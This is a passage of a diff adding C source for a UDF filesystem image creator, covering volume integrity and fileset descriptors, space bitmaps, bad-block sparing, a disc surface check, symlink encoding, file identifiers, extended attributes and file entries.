} + + /* sane enough? */ + if (udf_rw16(lvinfo->min_udf_readver) < context.min_udf) + lvinfo->min_udf_readver = udf_rw16(context.min_udf); + if (udf_rw16(lvinfo->min_udf_writever) < context.min_udf) + lvinfo->min_udf_writever = udf_rw16(context.min_udf); + if (udf_rw16(lvinfo->max_udf_writever) < context.max_udf) + lvinfo->max_udf_writever = udf_rw16(context.max_udf); + + lvid->num_part = udf_rw32(num_partmappings); + + pos = &lvid->tables[0]; + for (cnt = 0; cnt < num_partmappings; cnt++) { + *pos++ = udf_rw32(context.part_free[cnt]); + } + for (cnt = 0; cnt < num_partmappings; cnt++) { + *pos++ = udf_rw32(context.part_size[cnt]); + } + + crclen = sizeof(struct logvol_int_desc) -4 -UDF_DESC_TAG_LENGTH + + udf_rw32(lvid->l_iu); + crclen += num_partmappings * 2 * 4; + + assert(crclen <= UINT16_MAX); + if (lvid->tag.desc_crc_len == 0) + lvid->tag.desc_crc_len = udf_rw16(crclen); + + context.logvol_info = lvinfo; +} + + +int +udf_create_lvintd(int type) +{ + struct logvol_int_desc *lvid; + int l_iu; + + lvid = calloc(1, context.sector_size); + if (lvid == NULL) + return ENOMEM; + + udf_inittag(&lvid->tag, TAGID_LOGVOL_INTEGRITY, /* loc */ 0); + context.logvol_integrity = lvid; + + /* only set for standard UDF info, no extra impl. use needed */ + l_iu = sizeof(struct udf_logvol_info); + lvid->l_iu = udf_rw32(l_iu); + + udf_update_lvintd(type); + + return 0; +} + + +int +udf_create_fsd(void) +{ + struct fileset_desc *fsd; + uint16_t crclen; + + fsd = calloc(1, context.sector_size); + if (fsd == NULL) + return ENOMEM; + + udf_inittag(&fsd->tag, TAGID_FSD, /* loc */ 0); + + udf_set_timestamp_now(&fsd->time); + fsd->ichg_lvl = udf_rw16(3); /* UDF 2.3.2.1 */ + fsd->max_ichg_lvl = udf_rw16(3); /* UDF 2.3.2.2 */ + + fsd->charset_list = udf_rw32(1); /* only CS0 */ + fsd->max_charset_list = udf_rw32(1); /* only CS0 */ + + fsd->fileset_num = udf_rw32(0); /* only one fsd */ + fsd->fileset_desc_num = udf_rw32(0); /* original */ + + udf_osta_charset(&fsd->logvol_id_charset); + udf_encode_osta_id(fsd->logvol_id, 128, context.logvol_name); + + udf_osta_charset(&fsd->fileset_charset); + udf_encode_osta_id(fsd->fileset_id, 32, context.fileset_name); + + /* copyright file and abstract file names obmitted */ + + fsd->rootdir_icb.len = udf_rw32(context.sector_size); + fsd->rootdir_icb.loc.lb_num = udf_rw32(layout.rootdir); + fsd->rootdir_icb.loc.part_num = udf_rw16(context.metadata_part); + + udf_set_regid(&fsd->domain_id, "*OSTA UDF Compliant"); + udf_add_domain_regid(&fsd->domain_id); + + /* next_ex stays zero */ + /* no system streamdirs yet */ + + crclen = sizeof(struct fileset_desc) - UDF_DESC_TAG_LENGTH; + fsd->tag.desc_crc_len = udf_rw16(crclen); + + context.fileset_desc = fsd; + + return 0; +} + + +int +udf_create_space_bitmap(uint32_t dscr_size, uint32_t part_size_lba, + struct space_bitmap_desc **sbdp) +{ + struct space_bitmap_desc *sbd; + uint32_t cnt; + uint16_t crclen; + + *sbdp = NULL; + sbd = calloc(context.sector_size, dscr_size); + if (sbd == NULL) + return ENOMEM; + + udf_inittag(&sbd->tag, TAGID_SPACE_BITMAP, /* loc */ 0); + + sbd->num_bits = udf_rw32(part_size_lba); + sbd->num_bytes = udf_rw32((part_size_lba + 7)/8); + + /* fill space with 0xff to indicate free */ + for (cnt = 0; cnt < udf_rw32(sbd->num_bytes); cnt++) + sbd->data[cnt] = 0xff; + + /* set crc to only cover the header (UDF 2.3.1.2, 2.3.8.1) */ + crclen = sizeof(struct space_bitmap_desc) -1 - UDF_DESC_TAG_LENGTH; + sbd->tag.desc_crc_len = udf_rw16(crclen); + + *sbdp = sbd; + return 0; +} + +/* --------------------------------------------------------------------- */ + +int +udf_register_bad_block(uint32_t location) +{ + struct udf_sparing_table *spt; + struct spare_map_entry *sme, *free_sme; + uint32_t cnt; + + spt = context.sparing_table; + if (spt == NULL) + errx(1, "internal error, adding bad block to " + "non spareable in %s", __func__); + + /* find us a free spare map entry */ + free_sme = NULL; + for (cnt = 0; cnt < layout.spareable_blocks; cnt++) { + sme = &spt->entries[cnt]; + /* if we are allready in it, bail out */ + if (udf_rw32(sme->org) == location) + return 0; + if (udf_rw32(sme->org) == 0xffffffff) { + free_sme = sme; + break; + } + } + if (free_sme == NULL) { + warnx("disc relocation blocks full; disc too damaged"); + return EINVAL; + } + free_sme->org = udf_rw32(location); + + return 0; +} + + +void +udf_mark_allocated(uint32_t start_lb, int partnr, uint32_t blocks) +{ + union dscrptr *dscr; + uint8_t *bpos; + uint32_t cnt, bit; + + /* account for space used on underlying partition */ +#ifdef DEBUG + printf("mark allocated : partnr %d, start_lb %d for %d blocks\n", + partnr, start_lb, blocks); +#endif + + switch (context.vtop_tp[partnr]) { + case UDF_VTOP_TYPE_VIRT: + /* nothing */ + break; + case UDF_VTOP_TYPE_PHYS: + case UDF_VTOP_TYPE_SPAREABLE: + case UDF_VTOP_TYPE_META: + if (context.part_unalloc_bits[context.vtop[partnr]] == NULL) { + context.part_free[partnr] = 0; + break; + } +#ifdef DEBUG + printf("marking %d+%d as used\n", start_lb, blocks); +#endif + dscr = (union dscrptr *) (context.part_unalloc_bits[partnr]); + for (cnt = start_lb; cnt < start_lb + blocks; cnt++) { + bpos = &dscr->sbd.data[cnt / 8]; + bit = cnt % 8; + /* only account for bits marked free */ + if ((*bpos & (1 << bit))) + context.part_free[partnr] -= 1; + *bpos &= ~(1<< bit); + } + break; + default: + errx(1, "internal error: bad mapping type %d in %s", + context.vtop_tp[partnr], __func__); + } +} + + +void +udf_advance_uniqueid(void) +{ + /* Minimum value of 16 : UDF 3.2.1.1, 3.3.3.4. */ + context.unique_id++; + if (context.unique_id < 0x10) + context.unique_id = 0x10; +} + +/* --------------------------------------------------------------------- */ + +/* XXX implement the using of the results */ +int +udf_surface_check(void) +{ + uint32_t loc, block_bytes; + uint32_t sector_size, blockingnr, bpos; + uint8_t *buffer; + int error, num_errors; + + if (mmc_discinfo.mmc_class == MMC_CLASS_DISC) + return 0; + + sector_size = context.sector_size; + blockingnr = layout.blockingnr; + + block_bytes = layout.blockingnr * sector_size; + if ((buffer = malloc(block_bytes)) == NULL) + return ENOMEM; + + /* set all one to not kill Flash memory? */ + for (bpos = 0; bpos < block_bytes; bpos++) + buffer[bpos] = 0x00; + + printf("\nChecking disc surface : phase 1 - writing\n"); + num_errors = 0; + loc = layout.first_lba; + while (loc <= layout.last_lba) { + /* write blockingnr sectors */ + error = pwrite(dev_fd, buffer, block_bytes, + (uint64_t) loc*sector_size); + printf(" %08d + %d (%02d %%)\r", loc, blockingnr, + (int)((100.0 * loc)/layout.last_lba)); + fflush(stdout); + if (error == -1) { + /* block is bad */ + printf("BAD block at %08d + %d \n", + loc, layout.blockingnr); + if ((error = udf_register_bad_block(loc))) { + free(buffer); + return error; + } + num_errors ++; + } + loc += layout.blockingnr; + } + + printf("\nChecking disc surface : phase 2 - reading\n"); + num_errors = 0; + loc = layout.first_lba; + while (loc <= layout.last_lba) { + /* read blockingnr sectors */ + error = pread(dev_fd, buffer, block_bytes, loc*sector_size); + printf(" %08d + %d (%02d %%)\r", loc, blockingnr, + (int)((100.0 * loc)/layout.last_lba)); + fflush(stdout); + if (error == -1) { + /* block is bad */ + printf("BAD block at %08d + %d \n", + loc, layout.blockingnr); + if ((error = udf_register_bad_block(loc))) { + free(buffer); + return error; + } + num_errors ++; + } + loc += layout.blockingnr; + } + printf("Scan complete : %d bad blocks found\n", num_errors); + free(buffer); + + return 0; +} + +/* --------------------------------------------------------------------- */ + +#define UDF_SYMLINKBUFLEN (64*1024) /* picked */ +int +udf_encode_symlink(uint8_t **pathbufp, uint32_t *pathlenp, char *target) +{ + struct charspec osta_charspec; + struct pathcomp pathcomp; + char *pathbuf, *pathpos, *compnamepos; +// char *mntonname; +// int mntonnamelen; + int pathlen, len, compnamelen; + int error; + + /* process `target' to an UDF structure */ + pathbuf = malloc(UDF_SYMLINKBUFLEN); + assert(pathbuf); + + *pathbufp = NULL; + *pathlenp = 0; + + pathpos = pathbuf; + pathlen = 0; + udf_osta_charset(&osta_charspec); + + if (*target == '/') { + /* symlink starts from the root */ + len = UDF_PATH_COMP_SIZE; + memset(&pathcomp, 0, len); + pathcomp.type = UDF_PATH_COMP_ROOT; + +#if 0 + /* XXX how to check for in makefs? */ + /* check if its mount-point relative! */ + mntonname = udf_node->ump->vfs_mountp->mnt_stat.f_mntonname; + mntonnamelen = strlen(mntonname); + if (strlen(target) >= mntonnamelen) { + if (strncmp(target, mntonname, mntonnamelen) == 0) { + pathcomp.type = UDF_PATH_COMP_MOUNTROOT; + target += mntonnamelen; + } + } else { + target++; + } +#else + target++; +#endif + + memcpy(pathpos, &pathcomp, len); + pathpos += len; + pathlen += len; + } + + error = 0; + while (*target) { + /* ignore multiple '/' */ + while (*target == '/') { + target++; + } + if (!*target) + break; + + /* extract component name */ + compnamelen = 0; + compnamepos = target; + while ((*target) && (*target != '/')) { + target++; + compnamelen++; + } + + /* just trunc if too long ?? (security issue) */ + if (compnamelen >= 127) { + error = ENAMETOOLONG; + break; + } + + /* convert unix name to UDF name */ + len = sizeof(struct pathcomp); + memset(&pathcomp, 0, len); + pathcomp.type = UDF_PATH_COMP_NAME; + len = UDF_PATH_COMP_SIZE; + + if ((compnamelen == 2) && (strncmp(compnamepos, "..", 2) == 0)) + pathcomp.type = UDF_PATH_COMP_PARENTDIR; + if ((compnamelen == 1) && (*compnamepos == '.')) + pathcomp.type = UDF_PATH_COMP_CURDIR; + + if (pathcomp.type == UDF_PATH_COMP_NAME) { + unix_to_udf_name( + (char *) &pathcomp.ident, &pathcomp.l_ci, + compnamepos, compnamelen, + &osta_charspec); + len = UDF_PATH_COMP_SIZE + pathcomp.l_ci; + } + + if (pathlen + len >= UDF_SYMLINKBUFLEN) { + error = ENAMETOOLONG; + break; + } + + memcpy(pathpos, &pathcomp, len); + pathpos += len; + pathlen += len; + } + + if (error) { + /* aparently too big */ + free(pathbuf); + return error; + } + + /* return status of symlink contents writeout */ + *pathbufp = (uint8_t *) pathbuf; + *pathlenp = pathlen; + + return 0; + +} +#undef UDF_SYMLINKBUFLEN + + +/* + * XXX note the different semantics from udfclient: for FIDs it still rounds + * up to sectors. Use udf_fidsize() for a correct length. + */ +uint32_t +udf_tagsize(union dscrptr *dscr, uint32_t lb_size) +{ + uint32_t size, tag_id, num_lb, elmsz; + + tag_id = udf_rw16(dscr->tag.id); + + switch (tag_id) { + case TAGID_LOGVOL : + size = sizeof(struct logvol_desc) - 1; + size += udf_rw32(dscr->lvd.mt_l); + break; + case TAGID_UNALLOC_SPACE : + elmsz = sizeof(struct extent_ad); + size = sizeof(struct unalloc_sp_desc) - elmsz; + size += udf_rw32(dscr->usd.alloc_desc_num) * elmsz; + break; + case TAGID_FID : + size = UDF_FID_SIZE + dscr->fid.l_fi + udf_rw16(dscr->fid.l_iu); + size = (size + 3) & ~3; + break; + case TAGID_LOGVOL_INTEGRITY : + size = sizeof(struct logvol_int_desc) - sizeof(uint32_t); + size += udf_rw32(dscr->lvid.l_iu); + size += (2 * udf_rw32(dscr->lvid.num_part) * sizeof(uint32_t)); + break; + case TAGID_SPACE_BITMAP : + size = sizeof(struct space_bitmap_desc) - 1; + size += udf_rw32(dscr->sbd.num_bytes); + break; + case TAGID_SPARING_TABLE : + elmsz = sizeof(struct spare_map_entry); + size = sizeof(struct udf_sparing_table) - elmsz; + size += udf_rw16(dscr->spt.rt_l) * elmsz; + break; + case TAGID_FENTRY : + size = sizeof(struct file_entry); + size += udf_rw32(dscr->fe.l_ea) + udf_rw32(dscr->fe.l_ad)-1; + break; + case TAGID_EXTFENTRY : + size = sizeof(struct extfile_entry); + size += udf_rw32(dscr->efe.l_ea) + udf_rw32(dscr->efe.l_ad)-1; + break; + case TAGID_FSD : + size = sizeof(struct fileset_desc); + break; + default : + size = sizeof(union dscrptr); + break; + } + + if ((size == 0) || (lb_size == 0)) + return 0; + + if (lb_size == 1) + return size; + + /* round up in sectors */ + num_lb = (size + lb_size -1) / lb_size; + return num_lb * lb_size; +} + + +int +udf_fidsize(struct fileid_desc *fid) +{ + uint32_t size; + + if (udf_rw16(fid->tag.id) != TAGID_FID) + errx(1, "internal error, bad tag in %s", __func__); + + size = UDF_FID_SIZE + fid->l_fi + udf_rw16(fid->l_iu); + size = (size + 3) & ~3; + + return size; +} + + +int +udf_create_parentfid(struct fileid_desc *fid, struct long_ad *parent) +{ + /* the size of an empty FID is 38 but needs to be a multiple of 4 */ + int fidsize = 40; + + udf_inittag(&fid->tag, TAGID_FID, udf_rw32(parent->loc.lb_num)); + fid->file_version_num = udf_rw16(1); /* UDF 2.3.4.1 */ + fid->file_char = UDF_FILE_CHAR_DIR | UDF_FILE_CHAR_PAR; + fid->icb = *parent; + fid->icb.longad_uniqueid = parent->longad_uniqueid; + fid->tag.desc_crc_len = udf_rw16(fidsize - UDF_DESC_TAG_LENGTH); + + /* we have to do the fid here explicitly for simplicity */ + udf_validate_tag_and_crc_sums((union dscrptr *) fid); + + return fidsize; +} + + +void +udf_create_fid(uint32_t diroff, struct fileid_desc *fid, char *name, + int file_char, struct long_ad *ref) +{ + struct charspec osta_charspec; + uint32_t endfid; + uint32_t fidsize, lb_rest; + + memset(fid, 0, sizeof(*fid)); + udf_inittag(&fid->tag, TAGID_FID, udf_rw32(ref->loc.lb_num)); + fid->file_version_num = udf_rw16(1); /* UDF 2.3.4.1 */ + fid->file_char = file_char; + fid->l_iu = udf_rw16(0); + fid->icb = *ref; + fid->icb.longad_uniqueid = ref->longad_uniqueid; + + udf_osta_charset(&osta_charspec); + unix_to_udf_name((char *) fid->data, &fid->l_fi, name, strlen(name), + &osta_charspec); + + /* + * OK, tricky part: we need to pad so the next descriptor header won't + * cross the sector boundary + */ + endfid = diroff + udf_fidsize(fid); + lb_rest = context.sector_size - (endfid % context.sector_size); + if (lb_rest < sizeof(struct desc_tag)) { + /* add at least 32 */ + fid->l_iu = udf_rw16(32); + udf_set_regid((struct regid *) fid->data, context.impl_name); + udf_add_impl_regid((struct regid *) fid->data); + + unix_to_udf_name((char *) fid->data + udf_rw16(fid->l_iu), + &fid->l_fi, name, strlen(name), &osta_charspec); + } + + fidsize = udf_fidsize(fid); + fid->tag.desc_crc_len = udf_rw16(fidsize - UDF_DESC_TAG_LENGTH); + + /* make sure the header sums stays correct */ + udf_validate_tag_and_crc_sums((union dscrptr *)fid); +} + + +static void +udf_append_parentfid(union dscrptr *dscr, struct long_ad *parent_icb) +{ + struct file_entry *fe; + struct extfile_entry *efe; + struct fileid_desc *fid; + uint32_t l_ea; + uint32_t fidsize, crclen; + uint8_t *bpos, *data; + + fe = NULL; + efe = NULL; + if (udf_rw16(dscr->tag.id) == TAGID_FENTRY) { + fe = &dscr->fe; + data = fe->data; + l_ea = udf_rw32(fe->l_ea); + } else if (udf_rw16(dscr->tag.id) == TAGID_EXTFENTRY) { + efe = &dscr->efe; + data = efe->data; + l_ea = udf_rw32(efe->l_ea); + } else { + errx(1, "internal error, bad tag in %s", __func__); + } + + /* create '..' */ + bpos = data + l_ea; + fid = (struct fileid_desc *) bpos; + fidsize = udf_create_parentfid(fid, parent_icb); + + /* record fidlength information */ + if (fe) { + fe->inf_len = udf_rw64(fidsize); + fe->l_ad = udf_rw32(fidsize); + fe->logblks_rec = udf_rw64(0); /* intern */ + crclen = sizeof(struct file_entry); + } else { + efe->inf_len = udf_rw64(fidsize); + efe->obj_size = udf_rw64(fidsize); + efe->l_ad = udf_rw32(fidsize); + efe->logblks_rec = udf_rw64(0); /* intern */ + crclen = sizeof(struct extfile_entry); + } + crclen -= 1 + UDF_DESC_TAG_LENGTH; + crclen += l_ea + fidsize; + dscr->tag.desc_crc_len = udf_rw16(crclen); + + /* make sure the header sums stays correct */ + udf_validate_tag_and_crc_sums(dscr); +} + +/* --------------------------------------------------------------------- */ + +/* + * Extended attribute support. UDF knows of 3 places for extended attributes: + * + * (a) inside the file's (e)fe in the length of the extended attribute area + * before the allocation descriptors/filedata + * + * (b) in a file referenced by (e)fe->ext_attr_icb and + * + * (c) in the e(fe)'s associated stream directory that can hold various + * sub-files. In the stream directory a few fixed named subfiles are reserved + * for NT/Unix ACL's and OS/2 attributes. + * + * NOTE: Extended attributes are read randomly but always written + * *atomically*. For ACL's this interface is probably different but not known + * to me yet. + * + * Order of extended attributes in a space: + * ECMA 167 EAs + * Non block aligned Implementation Use EAs + * Block aligned Implementation Use EAs + * Application Use EAs + */ + +int +udf_impl_extattr_check(struct impl_extattr_entry *implext) +{ + uint16_t *spos; + + if (strncmp((char *) implext->imp_id.id, "*UDF", 4) == 0) { + /* checksum valid? */ + spos = (uint16_t *) implext->data; + if (udf_rw16(*spos) != udf_ea_cksum((uint8_t *) implext)) + return EINVAL; + } + return 0; +} + +void +udf_calc_impl_extattr_checksum(struct impl_extattr_entry *implext) +{ + uint16_t *spos; + + if (strncmp((char *) implext->imp_id.id, "*UDF", 4) == 0) { + /* set checksum */ + spos = (uint16_t *) implext->data; + *spos = udf_rw16(udf_ea_cksum((uint8_t *) implext)); + } +} + + +int +udf_extattr_search_intern(union dscrptr *dscr, + uint32_t sattr, char const *sattrname, + uint32_t *offsetp, uint32_t *lengthp) +{ + struct extattrhdr_desc *eahdr; + struct extattr_entry *attrhdr; + struct impl_extattr_entry *implext; + uint32_t offset, a_l, sector_size; + uint32_t l_ea; + uint8_t *pos; + int tag_id, error; + + sector_size = context.sector_size; + + /* get information from fe/efe */ + tag_id = udf_rw16(dscr->tag.id); + if (tag_id == TAGID_FENTRY) { + l_ea = udf_rw32(dscr->fe.l_ea); + eahdr = (struct extattrhdr_desc *) dscr->fe.data; + } else { + assert(tag_id == TAGID_EXTFENTRY); + l_ea = udf_rw32(dscr->efe.l_ea); + eahdr = (struct extattrhdr_desc *) dscr->efe.data; + } + + /* something recorded here? */ + if (l_ea == 0) + return ENOENT; + + /* check extended attribute tag; what to do if it fails? */ + error = udf_check_tag(eahdr); + if (error) + return EINVAL; + if (udf_rw16(eahdr->tag.id) != TAGID_EXTATTR_HDR) + return EINVAL; + error = udf_check_tag_payload(eahdr, sizeof(struct extattrhdr_desc)); + if (error) + return EINVAL; + + /* looking for Ecma-167 attributes? */ + offset = sizeof(struct extattrhdr_desc); + + /* looking for either implementation use or application use */ + if (sattr == 2048) { /* [4/48.10.8] */ + offset = udf_rw32(eahdr->impl_attr_loc); + if (offset == UDF_IMPL_ATTR_LOC_NOT_PRESENT) + return ENOENT; + } + if (sattr == 65536) { /* [4/48.10.9] */ + offset = udf_rw32(eahdr->appl_attr_loc); + if (offset == UDF_APPL_ATTR_LOC_NOT_PRESENT) + return ENOENT; + } + + /* paranoia check offset and l_ea */ + if (l_ea + offset >= sector_size - sizeof(struct extattr_entry)) + return EINVAL; + + /* find our extended attribute */ + l_ea -= offset; + pos = (uint8_t *) eahdr + offset; + + while (l_ea >= sizeof(struct extattr_entry)) { + attrhdr = (struct extattr_entry *) pos; + implext = (struct impl_extattr_entry *) pos; + + /* get complete attribute length and check for roque values */ + a_l = udf_rw32(attrhdr->a_l); + if ((a_l == 0) || (a_l > l_ea)) + return EINVAL; + + if (udf_rw32(attrhdr->type) != sattr) + goto next_attribute; + + /* we might have found it! */ + if (udf_rw32(attrhdr->type) < 2048) { /* Ecma-167 attribute */ + *offsetp = offset; + *lengthp = a_l; + return 0; /* success */ + } + + /* + * Implementation use and application use extended attributes + * have a name to identify. They share the same structure only + * UDF implementation use extended attributes have a checksum + * we need to check + */ + + if (strcmp((char *) implext->imp_id.id, sattrname) == 0) { + /* we have found our appl/implementation attribute */ + *offsetp = offset; + *lengthp = a_l; + return 0; /* success */ + } + +next_attribute: + /* next attribute */ + pos += a_l; + l_ea -= a_l; + offset += a_l; + } + /* not found */ + return ENOENT; +} + + +static void +udf_extattr_insert_internal(union dscrptr *dscr, struct extattr_entry *extattr) +{ + struct file_entry *fe; + struct extfile_entry *efe; + struct extattrhdr_desc *extattrhdr; + struct impl_extattr_entry *implext; + uint32_t impl_attr_loc, appl_attr_loc, l_ea, l_ad, a_l; + uint16_t *spos; + uint8_t *bpos, *data; + void *l_eap; + + if (udf_rw16(dscr->tag.id) == TAGID_FENTRY) { + fe = &dscr->fe; + data = fe->data; + l_eap = &fe->l_ea; + l_ad = udf_rw32(fe->l_ad); + } else if (udf_rw16(dscr->tag.id) == TAGID_EXTFENTRY) { + efe = &dscr->efe; + data = efe->data; + l_eap = &efe->l_ea; + l_ad = udf_rw32(efe->l_ad); + } else { + errx(1, "internal error, bad tag in %s", __func__); + } + + /* should have a header! */ + extattrhdr = (struct extattrhdr_desc *) data; + memcpy(&l_ea, l_eap, sizeof(l_ea)); + l_ea = udf_rw32(l_ea); + if (l_ea == 0) { + uint32_t exthdr_len; + assert(l_ad == 0); + /* create empty extended attribute header */ + l_ea = sizeof(struct extattrhdr_desc); + exthdr_len = udf_rw32(l_ea); + + udf_inittag(&extattrhdr->tag, TAGID_EXTATTR_HDR, /* loc */ 0); + extattrhdr->impl_attr_loc = exthdr_len; + extattrhdr->appl_attr_loc = exthdr_len; + extattrhdr->tag.desc_crc_len = udf_rw16(8); + + /* record extended attribute header length */ + memcpy(l_eap, &exthdr_len, sizeof(exthdr_len)); + } + + /* extract locations */ + impl_attr_loc = udf_rw32(extattrhdr->impl_attr_loc); + appl_attr_loc = udf_rw32(extattrhdr->appl_attr_loc); + if (impl_attr_loc == UDF_IMPL_ATTR_LOC_NOT_PRESENT) + impl_attr_loc = l_ea; + if (appl_attr_loc == UDF_IMPL_ATTR_LOC_NOT_PRESENT) + appl_attr_loc = l_ea; + + /* Ecma 167 EAs */ + if (udf_rw32(extattr->type) < 2048) { + assert(impl_attr_loc == l_ea); + assert(appl_attr_loc == l_ea); + } + + /* implementation use extended attributes */ + if (udf_rw32(extattr->type) == 2048) { + assert(appl_attr_loc == l_ea); + + /* calculate and write extended attribute header checksum */ + implext = (struct impl_extattr_entry *) extattr; + assert(udf_rw32(implext->iu_l) == 4); /* [UDF 3.3.4.5] */ + spos = (uint16_t *) implext->data; + *spos = udf_rw16(udf_ea_cksum((uint8_t *) implext)); + } + + /* application use extended attributes */ + assert(udf_rw32(extattr->type) != 65536); + assert(appl_attr_loc == l_ea); + + /* append the attribute at the end of the current space */ + bpos = data + l_ea; + a_l = udf_rw32(extattr->a_l); + + /* update impl. attribute locations */ + if (udf_rw32(extattr->type) < 2048) { + impl_attr_loc = l_ea + a_l; + appl_attr_loc = l_ea + a_l; + } + if (udf_rw32(extattr->type) == 2048) { + appl_attr_loc = l_ea + a_l; + } + + /* copy and advance */ + memcpy(bpos, extattr, a_l); + l_ea += a_l; + l_ea = udf_rw32(l_ea); + memcpy(l_eap, &l_ea, sizeof(l_ea)); + + /* do the `dance` again backwards */ + if (context.dscrver != 2) { + if (impl_attr_loc == l_ea) + impl_attr_loc = UDF_IMPL_ATTR_LOC_NOT_PRESENT; + if (appl_attr_loc == l_ea) + appl_attr_loc = UDF_APPL_ATTR_LOC_NOT_PRESENT; + } + + /* store offsets */ + extattrhdr->impl_attr_loc = udf_rw32(impl_attr_loc); + extattrhdr->appl_attr_loc = udf_rw32(appl_attr_loc); + + /* make sure the header sums stays correct */ + udf_validate_tag_and_crc_sums((union dscrptr *) extattrhdr); +} + +/* --------------------------------------------------------------------- */ + +int +udf_create_new_fe(struct file_entry **fep, int file_type, struct stat *st) +{ + struct file_entry *fe; + struct icb_tag *icb; + struct timestamp birthtime; + struct filetimes_extattr_entry *ft_extattr; + uint32_t crclen; /* XXX: should be 16; need to detect overflow */ + uint16_t icbflags; + + *fep = NULL; + fe = calloc(1, context.sector_size); + if (fe == NULL) + return ENOMEM; + + udf_inittag(&fe->tag, TAGID_FENTRY, /* loc */ 0); + icb = &fe->icbtag; + + /* + * Always use strategy type 4 unless on WORM wich we don't support + * (yet). Fill in defaults and set for internal allocation of data. + */ + icb->strat_type = udf_rw16(4); + icb->max_num_entries = udf_rw16(1); + icb->file_type = file_type; /* 8 bit */ + icb->flags = udf_rw16(UDF_ICB_INTERN_ALLOC); + + fe->perm = udf_rw32(0x7fff); /* all is allowed */ + fe->link_cnt = udf_rw16(0); /* explicit setting */ + + fe->ckpoint = udf_rw32(1); /* user supplied file version */ + + udf_set_timestamp_now(&birthtime); + udf_set_timestamp_now(&fe->atime); + udf_set_timestamp_now(&fe->attrtime); + udf_set_timestamp_now(&fe->mtime); + + /* set attributes */ + if (st) { + +#if !HAVE_NBTOOL_CONFIG_H +#if 0 + udf_set_timestamp(&birthtime, st->st_birthtime); +#else +#endif + udf_set_timestamp(&birthtime, 0); +#endif + udf_set_timestamp(&fe->atime, st->st_atime); + udf_set_timestamp(&fe->attrtime, st->st_ctime); + udf_set_timestamp(&fe->mtime, st->st_mtime); + fe->uid = udf_rw32(st->st_uid); + fe->gid = udf_rw32(st->st_gid); + + fe->perm = udf_rw32(unix_mode_to_udf_perm(st->st_mode)); + + icbflags = udf_rw16(fe->icbtag.flags); + icbflags &= ~UDF_ICB_TAG_FLAGS_SETUID; + icbflags &= ~UDF_ICB_TAG_FLAGS_SETGID; + icbflags &= ~UDF_ICB_TAG_FLAGS_STICKY; + if (st->st_mode & S_ISUID) + icbflags |= UDF_ICB_TAG_FLAGS_SETUID; + if (st->st_mode & S_ISGID) + icbflags |= UDF_ICB_TAG_FLAGS_SETGID; + if (st->st_mode & S_ISVTX) + icbflags |= UDF_ICB_TAG_FLAGS_STICKY; + fe->icbtag.flags = udf_rw16(icbflags); + } + + udf_set_regid(&fe->imp_id, context.impl_name); + udf_add_impl_regid(&fe->imp_id); + fe->unique_id = udf_rw64(context.unique_id); + udf_advance_uniqueid(); + + fe->l_ea = udf_rw32(0); + + /* create extended attribute to record our creation time */ + ft_extattr = calloc(1, UDF_FILETIMES_ATTR_SIZE(1)); + ft_extattr->hdr.type = udf_rw32(UDF_FILETIMES_ATTR_NO); + ft_extattr->hdr.subtype = 1; /* [4/48.10.5] */ + ft_extattr->hdr.a_l = udf_rw32(UDF_FILETIMES_ATTR_SIZE(1)); + ft_extattr->d_l = udf_rw32(UDF_TIMESTAMP_SIZE); /* one item */ + ft_extattr->existence = UDF_FILETIMES_FILE_CREATION; + ft_extattr->times[0] = birthtime; + + udf_extattr_insert_internal((union dscrptr *) fe, + (struct extattr_entry *) ft_extattr); + free(ft_extattr); + + /* record fidlength information */ + fe->inf_len = udf_rw64(0); + fe->l_ad = udf_rw32(0); + fe->logblks_rec = udf_rw64(0); /* intern */ + + crclen = sizeof(struct file_entry) - 1 - UDF_DESC_TAG_LENGTH; + crclen += udf_rw32(fe->l_ea); + + /* make sure the header sums stays correct */ + fe->tag.desc_crc_len = udf_rw16(crclen); + udf_validate_tag_and_crc_sums((union dscrptr *) fe); + + *fep = fe; + return 0; +} + + +int +udf_create_new_efe(struct extfile_entry **efep, int file_type, struct stat *st) +{ + struct extfile_entry *efe; + struct icb_tag *icb; + uint32_t crclen; /* XXX: should be 16; need to detect overflow */ + uint16_t icbflags; + + *efep = NULL; + efe = calloc(1, context.sector_size); + if (efe == NULL) + return ENOMEM; + + udf_inittag(&efe->tag, TAGID_EXTFENTRY, /* loc */ 0); + icb = &efe->icbtag; + + /* + * Always use strategy type 4 unless on WORM wich we don't support + * (yet). Fill in defaults and set for internal allocation of data. + */ + icb->strat_type = udf_rw16(4); + icb->max_num_entries = udf_rw16(1); + icb->file_type = file_type; /* 8 bit */ + icb->flags = udf_rw16(UDF_ICB_INTERN_ALLOC); + + efe->perm = udf_rw32(0x7fff); /* all is allowed */ + efe->link_cnt = udf_rw16(0); /* explicit setting */ + + efe->ckpoint = udf_rw32(1); /* user supplied file version */ + + udf_set_timestamp_now(&efe->ctime); + udf_set_timestamp_now(&efe->atime); + udf_set_timestamp_now(&efe->attrtime); + udf_set_timestamp_now(&efe->mtime); + + /* set attributes */ + if (st) { +#if !HAVE_NBTOOL_CONFIG_H +#if 0 + udf_set_timestamp(&efe->ctime, st->st_birthtime); +#else +#endif + udf_set_timestamp(&efe->ctime, 0); +#endif + udf_set_timestamp(&efe->atime, st->st_atime); + udf_set_timestamp(&efe->attrtime, st->st_ctime); + udf_set_timestamp(&efe->mtime, st->st_mtime); + efe->uid = udf_rw32(st->st_uid); + efe->gid = udf_rw32(st->st_gid); + + efe->perm = udf_rw32(unix_mode_to_udf_perm(st->st_mode)); + + icbflags = udf_rw16(efe->icbtag.flags); + icbflags &= ~UDF_ICB_TAG_FLAGS_SETUID; + icbflags &= ~UDF_ICB_TAG_FLAGS_SETGID; + icbflags &= ~UDF_ICB_TAG_FLAGS_STICKY; + if (st->st_mode & S_ISUID) + icbflags |= UDF_ICB_TAG_FLAGS_SETUID; + if (st->st_mode & S_ISGID) + icbflags |= UDF_ICB_TAG_FLAGS_SETGID; + if (st->st_mode & S_ISVTX) + icbflags |= UDF_ICB_TAG_FLAGS_STICKY; + efe->icbtag.flags = udf_rw16(icbflags); + } + + udf_set_regid(&efe->imp_id, context.impl_name); + udf_add_impl_regid(&efe->imp_id); + + efe->unique_id = udf_rw64(context.unique_id); + udf_advance_uniqueid(); + + /* record fidlength information */ + efe->inf_len = udf_rw64(0); + efe->obj_size = udf_rw64(0); + efe->l_ad = udf_rw32(0); + efe->logblks_rec = udf_rw64(0); + + crclen = sizeof(struct extfile_entry) - 1 - UDF_DESC_TAG_LENGTH; + + /* make sure the header sums stays correct */ + efe->tag.desc_crc_len = udf_rw16(crclen); + udf_validate_tag_and_crc_sums((union dscrptr *) efe); + + *efep = efe; + return 0; +} + +/* --------------------------------------------------------------------- */ 